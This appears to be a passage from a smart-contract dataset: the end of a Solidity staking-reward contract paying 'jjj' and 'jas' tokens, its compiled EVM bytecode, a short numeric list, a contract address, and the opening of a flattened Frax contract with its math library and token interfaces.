IERC20(0x073a2B757Da52563D628Ff2d01584a0b95174b79); uint256 public constant DURATION = 625000; // ~7 1/4 days uint256 public constant JASWAIT = 2 days; // 2 days uint256 public constant EPOCH_REWARD = 1000; uint256 public starttime = 1603015200; // 10/18/2020 @ 10:00am (UTC + 00:00) uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public paidReward; mapping(address => uint256) public paidJas; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event JasPaid(address indexed user, uint256 reward); modifier checkStart() { require(block.timestamp >= starttime,"not start"); _; } modifier checkJasWait() { require(block.timestamp >= starttime.add(JASWAIT), "need more jjj"); require(maxSupply() >= EPOCH_REWARD.mul(DECIMALS), "need more pollen"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (sqrtTotalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(sqrtTotalSupply()) ); } function earned(address account) public view returns (uint256) { return sqrtBalance(balanceOf(account)) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { paidReward[msg.sender] = paidReward[msg.sender].add(reward); rewards[msg.sender] = 0; jjj.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function allEarned(address account) public view returns (uint256) { return earned(account).add(paidReward[account]); } function formatSqrt(uint256 balance) internal pure returns (uint256) { return Math.sqrt(balance.div(1e18)).mul(1e18); } // allJas - paidJas, see getJas(), if should wait, need return 0 function earnedJas(address account) public view returns (uint256) { if (block.timestamp >= starttime.add(JASWAIT) && maxSupply() >= EPOCH_REWARD.mul(DECIMALS)) { return formatSqrt(allEarned(account)).sub(paidJas[account]); } else { return 0; } } function getJas() public checkJasWait { uint256 jjjAmount = allEarned(msg.sender); require(jjjAmount > 1e18, "jjj amount need > 1"); uint256 allJas = formatSqrt(jjjAmount); uint256 needPayJas = allJas.sub(paidJas[msg.sender]); if (needPayJas > 0) { paidJas[msg.sender] = allJas; jas.safeTransfer(msg.sender, needPayJas); emit JasPaid(msg.sender, needPayJas); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp > starttime) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } else { rewardRate = reward.div(DURATION); lastUpdateTime = starttime; periodFinish = starttime.add(DURATION); emit RewardAdded(reward); } } function burnJas(uint256 amount) external onlyRewardDistribution { require(block.timestamp > starttime.add(DURATION), "not finish"); jas.safeTransfer(address(0), amount); } }
0x608060405234801561001057600080fd5b506004361061023c5760003560e01c806380faa57d1161013b578063cd3daf9d116100b8578063e9fad8ee1161007c578063e9fad8ee14610915578063ebe2b12b1461091f578063f2fde38b1461093d578063f3283ef914610981578063ff0672cb146109d95761023c565b8063cd3daf9d14610835578063d5abeb0114610853578063df136d6514610871578063e1ecea0b1461088f578063e66f2981146108e75761023c565b80639b0a2757116100ff5780639b0a275714610729578063a694fc3a14610773578063b638fbed146107a1578063c8f33c91146107f9578063c905e4a2146108175761023c565b806380faa57d146106295780638b876347146106475780638da588971461069f5780638da5cb5b146106bd5780638f32d59b146107075761023c565b80633c6b16ab116101c95780636de225e41161018d5780636de225e41461051d57806370a0823114610567578063715018a6146105bf57806379b8e441146105c95780637b0a47ee1461060b5761023c565b80633c6b16ab146104255780633d18b912146104535780633fc8cef31461045d57806352146cdb146104a7578063581290d3146104ff5761023c565b806313eb6c881161021057806313eb6c881461037f57806318160ddd1461039d5780631be05289146103bb5780632e0f2625146103d95780632e1a7d4d146103f75761023c565b80628cc262146102415780630700037d146102995780630d68b761146102f1578063101114cf14610335575b600080fd5b6102836004803603602081101561025757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109e3565b6040518082815260200191505060405180910390f35b6102db600480360360208110156102af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad2565b6040518082815260200191505060405180910390f35b6103336004803603602081101561030757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aea565b005b61033d610ba8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610387610bce565b6040518082815260200191505060405180910390f35b6103a5610bd4565b6040518082815260200191505060405180910390f35b6103c3610bde565b6040518082815260200191505060405180910390f35b6103e1610be5565b6040518082815260200191505060405180910390f35b6104236004803603602081101561040d57600080fd5b8101908080359060200190929190505050610bf1565b005b6104516004803603602081101561043b57600080fd5b8101908080359060200190929190505050610e1e565b005b61045b611125565b005b610465611411565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e9600480360360208110156104bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611436565b6040518082815260200191505060405180910390f35b610507611499565b6040518082815260200191505060405180910390f35b6105256114a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a96004803603602081101561057d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114c6565b6040518082815260200191505060405180910390f35b6105c761150f565b005b6105f5600480360360208110156105df57600080fd5b810190808035906020019092919050505061164a565b6040518082815260200191505060405180910390f35b6106136116a9565b6040518082815260200191505060405180910390f35b6106316116af565b6040518082815260200191505060405180910390f35b6106896004803603602081101561065d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116c2565b6040518082815260200191505060405180910390f35b6106a76116da565b6040518082815260200191505060405180910390f35b6106c56116e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61070f61170a565b604051808215151515815260200191505060405180910390f35b610731611769565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61079f6004803603602081101561078957600080fd5b810190808035906020019092919050505061178f565b005b6107e3600480360360208110156107b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119bc565b6040518082815260200191505060405180910390f35b6108016119d4565b6040518082815260200191505060405180910390f35b61081f6119da565b6040518082815260200191505060405180910390f35b61083d6119e4565b6040518082815260200191505060405180910390f35b61085b611a7c565b6040518082815260200191505060405180910390f35b610879611a86565b6040518082815260200191505060405180910390f35b6108d1600480360360208110156108a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a8c565b6040518082815260200191505060405180910390f35b610913600480360360208110156108fd57600080fd5b8101908080359060200190929190505050611aa4565b005b61091d611c2e565b005b610927611c49565b6040518082815260200191505060405180910390f35b61097f6004803603602081101561095357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c4f565b005b6109c36004803603602081101561099757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cd5565b6040518082815260200191505060405180910390f35b6109e1611d99565b005b6000610acb600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610abd670de0b6b3a7640000610aaf610a90600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a826119e4565b61209a90919063ffffffff16565b610aa1610a9c896114c6565b61164a565b6120e490919063ffffffff16565b61216a90919063ffffffff16565b6121b490919063ffffffff16565b9050919050565b600f6020528060005260406000206000915090505481565b610af261170a565b610b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6103e881565b6000600154905090565b6209896881565b670de0b6b3a764000081565b33610bfa6119e4565b600d81905550610c086116af565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610cd557610c4b816109e3565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600954421015610d4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374617274000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211610dc3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b610dcc8261223c565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a25050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e5f6123fc565b73ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612e196021913960400191505060405180910390fd5b6000610ed56119e4565b600d81905550610ee36116af565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fb057610f26816109e3565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6009544211156110a657600a544210610fe457610fd9620989688361216a90919063ffffffff16565b600b81905550611047565b6000610ffb42600a5461209a90919063ffffffff16565b90506000611014600b54836120e490919063ffffffff16565b905061103e6209896861103083876121b490919063ffffffff16565b61216a90919063ffffffff16565b600b8190555050505b42600c8190555061106462098968426121b490919063ffffffff16565b600a819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a1611121565b6110bc620989688361216a90919063ffffffff16565b600b81905550600954600c819055506110e3620989686009546121b490919063ffffffff16565b600a819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d826040518082815260200191505060405180910390a15b5050565b3361112e6119e4565b600d8190555061113c6116af565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146112095761117f816109e3565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600954421015611281576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374617274000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600061128c336109e3565b9050600081111561140d576112e981601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b490919063ffffffff16565b601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113be3382600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166124049092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611492601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611484846109e3565b6121b490919063ffffffff16565b9050919050565b6202a30081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61151761170a565b611589576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000670de0b6b3a7640000821015611664578190506116a4565b6116a1670de0b6b3a764000061169361168e670de0b6b3a76400008661216a90919063ffffffff16565b6124d5565b6120e490919063ffffffff16565b90505b919050565b600b5481565b60006116bd42600a5461251a565b905090565b600e6020528060005260406000206000915090505481565b60095481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174d6123fc565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b336117986119e4565b600d819055506117a66116af565b600c81905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611873576117e9816109e3565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6009544210156118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374617274000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008211611961576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b61196a82612533565b3373ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d836040518082815260200191505060405180910390a25050565b60116020528060005260406000206000915090505481565b600c5481565b6000600254905090565b6000806119ef6119da565b14156119ff57600d549050611a79565b611a76611a65611a0d6119da565b611a57670de0b6b3a7640000611a49600b54611a3b600c54611a2d6116af565b61209a90919063ffffffff16565b6120e490919063ffffffff16565b6120e490919063ffffffff16565b61216a90919063ffffffff16565b600d546121b490919063ffffffff16565b90505b90565b6000600354905090565b600d5481565b60106020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611ae56123fc565b73ffffffffffffffffffffffffffffffffffffffff1614611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612e196021913960400191505060405180910390fd5b611b69620989686009546121b490919063ffffffff16565b4211611bdd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6e6f742066696e6973680000000000000000000000000000000000000000000081525060200191505060405180910390fd5b611c2b600082600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166124049092919063ffffffff16565b50565b611c3f611c3a336114c6565b610bf1565b611c47611125565b565b600a5481565b611c5761170a565b611cc9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611cd281612709565b50565b6000611cef6202a3006009546121b490919063ffffffff16565b4210158015611d215750611d16670de0b6b3a76400006103e86120e490919063ffffffff16565b611d1e611a7c565b10155b15611d8f57611d88601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7a611d7585611436565b61284f565b61209a90919063ffffffff16565b9050611d94565b600090505b919050565b611db16202a3006009546121b490919063ffffffff16565b421015611e26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f6e656564206d6f7265206a6a6a0000000000000000000000000000000000000081525060200191505060405180910390fd5b611e43670de0b6b3a76400006103e86120e490919063ffffffff16565b611e4b611a7c565b1015611ebf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6e656564206d6f726520706f6c6c656e0000000000000000000000000000000081525060200191505060405180910390fd5b6000611eca33611436565b9050670de0b6b3a76400008111611f49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6a6a6a20616d6f756e74206e656564203e20310000000000000000000000000081525060200191505060405180910390fd5b6000611f548261284f565b90506000611faa601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361209a90919063ffffffff16565b905060008111156120955781601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120463382600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166124049092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f7f7c9a5f5cbdbe438d10e6253785124fcd7fc4b568185d34af54158ca172cdb5826040518082815260200191505060405180910390a25b505050565b60006120dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612895565b905092915050565b6000808314156120f75760009050612164565b600082840290508284828161210857fe5b041461215f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612df86021913960400191505060405180910390fd5b809150505b92915050565b60006121ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612955565b905092915050565b600080828401905083811015612232576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6122518160015461209a90919063ffffffff16565b6001819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506122ed82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209a90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a661237b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164a565b6123986123878461164a565b60025461209a90919063ffffffff16565b6121b490919063ffffffff16565b6002819055506123f833836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166124049092919063ffffffff16565b5050565b600033905090565b6124d0838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612a1b565b505050565b600080600260018401816124e557fe5b0490508291505b818110156125145780915060028182858161250357fe5b04018161250c57fe5b0490506124ec565b50919050565b6000818310612529578161252b565b825b905092915050565b612548816001546121b490919063ffffffff16565b60018190555061255c600354600154612c66565b6003819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506125f882600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121b490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b1612686600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164a565b6126a36126928461164a565b60025461209a90919063ffffffff16565b6121b490919063ffffffff16565b6002819055506127053330846000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612c80909392919063ffffffff16565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561278f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612dd26026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061288e670de0b6b3a764000061288061287b670de0b6b3a76400008661216a90919063ffffffff16565b6124d5565b6120e490919063ffffffff16565b9050919050565b6000838311158290612942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129075780820151818401526020810190506128ec565b50505050905090810190601f1680156129345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156129c65780820151818401526020810190506129ab565b50505050905090810190601f1680156129f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612a0d57fe5b049050809150509392505050565b612a3a8273ffffffffffffffffffffffffffffffffffffffff16612d86565b612aac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310612afb5780518252602082019150602081019050602083039250612ad8565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612b5d576040519150601f19603f3d011682016040523d82523d6000602084013e612b62565b606091505b509150915081612bda576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115612c6057808060200190516020811015612bf957600080fd5b8101908080519060200190929190505050612c5f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612e3a602a913960400191505060405180910390fd5b5b50505050565b600081831015612c765781612c78565b825b905092915050565b612d80848573ffffffffffffffffffffffffffffffffffffffff166323b872dd905060e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050612a1b565b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015612dc85750808214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582035426f70f4ca89c33d6f734a9c43a331fd484b26cf4075143f92d6eb38b61fbb64736f6c63430005110032
[ 4, 7 ]
0xF3a21b5d9E11eECA3a50BEb654276987164AbC8d
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.8.0; // Sources flattened with hardhat v2.6.4 https://hardhat.org // File contracts/Math/Math.sol /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File contracts/Frax/IFrax.sol interface IFrax { function COLLATERAL_RATIO_PAUSER() external view returns (bytes32); function DEFAULT_ADMIN_ADDRESS() external view returns (address); function DEFAULT_ADMIN_ROLE() external view returns (bytes32); function addPool(address pool_address ) external; function allowance(address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount ) external returns (bool); function balanceOf(address account ) external view returns (uint256); function burn(uint256 amount ) external; function burnFrom(address account, uint256 amount ) external; function collateral_ratio_paused() external view returns (bool); function controller_address() external view returns (address); function creator_address() external view returns (address); function decimals() external view returns (uint8); function decreaseAllowance(address spender, uint256 subtractedValue ) external returns (bool); function eth_usd_consumer_address() external view returns (address); function eth_usd_price() external view returns (uint256); function frax_eth_oracle_address() external view returns (address); function frax_info() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256); function frax_pools(address ) external view returns (bool); function frax_pools_array(uint256 ) external view returns (address); function frax_price() external view returns (uint256); function frax_step() external view returns (uint256); function fxs_address() external view returns (address); function fxs_eth_oracle_address() external view returns (address); function fxs_price() external view returns (uint256); function genesis_supply() external view returns (uint256); function getRoleAdmin(bytes32 role ) external view returns (bytes32); function getRoleMember(bytes32 role, uint256 index ) external view returns (address); function getRoleMemberCount(bytes32 role ) external view returns (uint256); function globalCollateralValue() external view returns (uint256); function global_collateral_ratio() external view returns (uint256); function grantRole(bytes32 role, address account ) external; function hasRole(bytes32 role, address account ) external view returns (bool); function increaseAllowance(address spender, uint256 addedValue ) external returns (bool); function last_call_time() external view returns (uint256); function minting_fee() external view returns (uint256); function name() external view returns (string memory); function owner_address() external view returns (address); function pool_burn_from(address b_address, uint256 b_amount ) external; function pool_mint(address m_address, uint256 m_amount ) external; function price_band() external view returns (uint256); function price_target() external view returns (uint256); function redemption_fee() external view returns (uint256); function refreshCollateralRatio() external; function refresh_cooldown() external view returns (uint256); function removePool(address pool_address ) external; function renounceRole(bytes32 role, address account ) external; function revokeRole(bytes32 role, address account ) external; function setController(address _controller_address ) external; function setETHUSDOracle(address _eth_usd_consumer_address ) external; function setFRAXEthOracle(address _frax_oracle_addr, address _weth_address ) external; function setFXSAddress(address _fxs_address ) external; function setFXSEthOracle(address _fxs_oracle_addr, address _weth_address ) external; function setFraxStep(uint256 _new_step ) external; function setMintingFee(uint256 min_fee ) external; function setOwner(address _owner_address ) external; function setPriceBand(uint256 _price_band ) external; function setPriceTarget(uint256 _new_price_target ) external; function setRedemptionFee(uint256 red_fee ) external; function setRefreshCooldown(uint256 _new_cooldown ) external; function setTimelock(address new_timelock ) external; function symbol() external view returns (string memory); function timelock_address() external view returns (address); function toggleCollateralRatio() external; function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount ) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount ) external returns (bool); function weth_address() external view returns (address); } // File contracts/FXS/IFxs.sol interface IFxs { function DEFAULT_ADMIN_ROLE() external view returns(bytes32); function FRAXStablecoinAdd() external view returns(address); function FXS_DAO_min() external view returns(uint256); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function balanceOf(address account) external view returns(uint256); function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; function checkpoints(address, uint32) external view returns(uint32 fromBlock, uint96 votes); function decimals() external view returns(uint8); function decreaseAllowance(address spender, uint256 subtractedValue) external returns(bool); function genesis_supply() external view returns(uint256); function getCurrentVotes(address account) external view returns(uint96); function getPriorVotes(address account, uint256 blockNumber) external view returns(uint96); function getRoleAdmin(bytes32 role) external view returns(bytes32); function getRoleMember(bytes32 role, uint256 index) external view returns(address); function getRoleMemberCount(bytes32 role) external view returns(uint256); 